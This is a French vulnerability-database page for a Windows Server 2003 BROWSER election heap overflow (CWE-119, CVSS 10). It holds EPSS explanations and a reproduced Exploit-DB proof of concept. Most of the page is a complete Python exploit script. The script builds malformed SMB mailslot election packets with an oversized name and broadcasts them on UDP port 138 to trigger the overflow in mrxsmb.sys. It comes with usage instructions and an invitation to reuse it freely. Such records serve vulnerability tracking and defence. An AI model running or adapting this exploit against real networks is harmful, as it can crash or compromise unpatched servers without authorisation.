Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
Metric |
Score |
Sévérité |
CVSS Vecteur |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 16166
Date de publication : 2011-02-13 23:00 +00:00
Auteur : Cupidon-3005
EDB Vérifié : Yes
####################################################################################
#MS Windows Server 2003 AD Pre-Auth BROWSER ELECTION Remote Heap Overflow
#Release date: 2011-02-14
#Author: Cupidon-3005
#Greet: Winny Thomas, Laurent Gaffie, h07
#Bug: Heap Overflow
#Remote Exploitability: Unlikely
#Local Exploitability: Likely
#Context: Broadcast, Pre-Auth
#####################################################################################
#Mrxsmb.sys, around BowserWriteErrorLog+0x175, while trying to copy 1go from ESI to EDI ...
#Code will look something like this:
#if ((Len + 1) * sizeof(WCHAR)) > TotalBufferSize) { Len = TotalSize/sizeof(WCHAR) - 1; }
#-1 causes Len to go 0xFFFFFFFF
#Feel free to reuse this code without restrictions...
import socket,sys,struct
from socket import *
if len(sys.argv)<=4:
sys.exit("""usage: python sploit.py UR-IP BCAST-IP NBT-NAME AD-NAME
example: python sploit.py 192.168.1.10 192.168.1.255 OhYeah AD-NETBIOS-NAME""")
ourip = sys.argv[1]
host = sys.argv[2]
srcname = sys.argv[3].upper()
dstname = sys.argv[4].upper()
ELEC = "\x42\x4f\x00"
WREDIR = "\x41\x41\x00"
def encodename(nbt,service):
final = '\x20'+''.join([chr((ord(i)>>4) + ord('A'))+chr((ord(i)&0xF) + ord('A')) for i in nbt])+((15 - len(nbt)) * str('\x43\x41'))+service
return final
def lengthlittle(packet,addnum):
length = struct.pack("<i", len(packet)+addnum)[0:2]
return length
def lengthbig(packet,addnum):
length = struct.pack(">i", len(packet)+addnum)[2:4]
return length
def election(srcname):
elec = "\x08"
elec+= "\x09" #Be the boss or die
elec+= "\xa8\x0f\x01\x20" #Be the boss or die
elec+= "\x1b\xe9\xa5\x00" #Up time
elec+= "\x00\x00\x00\x00" #Null, like SDLC
elec+= srcname+"\x00"
return elec
def smbheaderudp(op="\x25"):
smbheader= "\xff\x53\x4d\x42"
smbheader+= op
smbheader+= "\x00"
smbheader+= "\x00"
smbheader+= "\x00\x00"
smbheader+= "\x00"
smbheader+= "\x00\x00"
smbheader+= "\x00\x00"
smbheader+= "\x00\x00\x00\x00\x00\x00\x00\x00"
smbheader+= "\x00\x00"
smbheader+= "\x00\x00"
smbheader+= "\x00\x00"
smbheader+= "\x00\x00"
smbheader+= "\x00\x00"
return smbheader
def trans2mailslot(tid="\x80\x0b",ip=ourip,sname="LOVE-SDL",dname="SRD-LOVE",namepipe="\MAILSLOT\BROWSE",srcservice="\x41\x41\x00",dstservice="\x41\x41\x00",pbrowser=""):
packetbrowser = pbrowser
packetmailslot = "\x01\x00"
packetmailslot+= "\x00\x00"
packetmailslot+= "\x02\x00"
packetmailslot+= lengthlittle(packetbrowser+namepipe,4)
packetmailslot+= namepipe +"\x00"
packetdatagram = "\x11"
packetdatagram+= "\x02"
packetdatagram+= tid
packetdatagram+= inet_aton(ip)
packetdatagram+= "\x00\x8a"
packetdatagram+= "\x00\xa7"
packetdatagram+= "\x00\x00"
packetdatagramname = encodename(sname,srcservice)
packetdatagramname+= encodename(dname,dstservice)
smbheader= smbheaderudp("\x25")
packetrans2 = "\x11"
packetrans2+= "\x00\x00"
packetrans2+= lengthlittle(packetbrowser,0)
packetrans2+= "\x00\x00"
packetrans2+= "\x00\x00"
packetrans2+= "\x00"
packetrans2+= "\x00"
packetrans2+= "\x00\x00"
packetrans2+= "\xe8\x03\x00\x00"
packetrans2+= "\x00\x00"
packetrans2+= "\x00\x00"
packetrans2+= "\x00\x00"
packetrans2+= lengthlittle(packetbrowser,0)
packetrans2+= lengthlittle(smbheader+packetrans2+packetmailslot,4)
packetrans2+= "\x03"
packetrans2+= "\x00"
andoffset = lengthlittle(smbheader+packetrans2+packetmailslot,2)
lengthcalc = packetdatagramname+smbheader+packetrans2+packetmailslot+packetbrowser
packetfinal = packetdatagram+packetdatagramname+smbheader+packetrans2+packetmailslot+packetbrowser
packetotalength = list(packetfinal)
packetotalength[10:12] = lengthbig(lengthcalc,0)
packetrans2final = ''.join(packetotalength)
return packetrans2final
def sockbroad(host,sourceservice,destservice,packet):
s = socket(AF_INET,SOCK_DGRAM)
s.setsockopt(SOL_SOCKET, SO_BROADCAST,1)
s.bind(('0.0.0.0', 138))
try:
packsmbheader = smbheaderudp("\x25")
buffer0 = trans2mailslot(tid="\x80\x22",ip=ourip,sname=srcname,dname=dstname,namepipe="\MAILSLOT\BROWSER",srcservice=sourceservice, dstservice=destservice, pbrowser=packet)
s.sendto(buffer0,(host,138))
except:
print "expected SDL error:", sys.exc_info()[0]
raise
sockbroad(host,WREDIR,ELEC,election("A" * 410)) # -> Zing it! (between ~60->410)
print "Happy St-Valentine Bitches\nMSFT found that one loooooooong time ago...."
Products Mentioned
Configuraton 0
Microsoft>>Windows_2003_server >> Version *
Microsoft>>Windows_2003_server >> Version *
Microsoft>>Windows_2003_server >> Version *
Microsoft>>Windows_2003_server >> Version *
Microsoft>>Windows_server_2003 >> Version *
Microsoft>>Windows_server_2003 >> Version *
References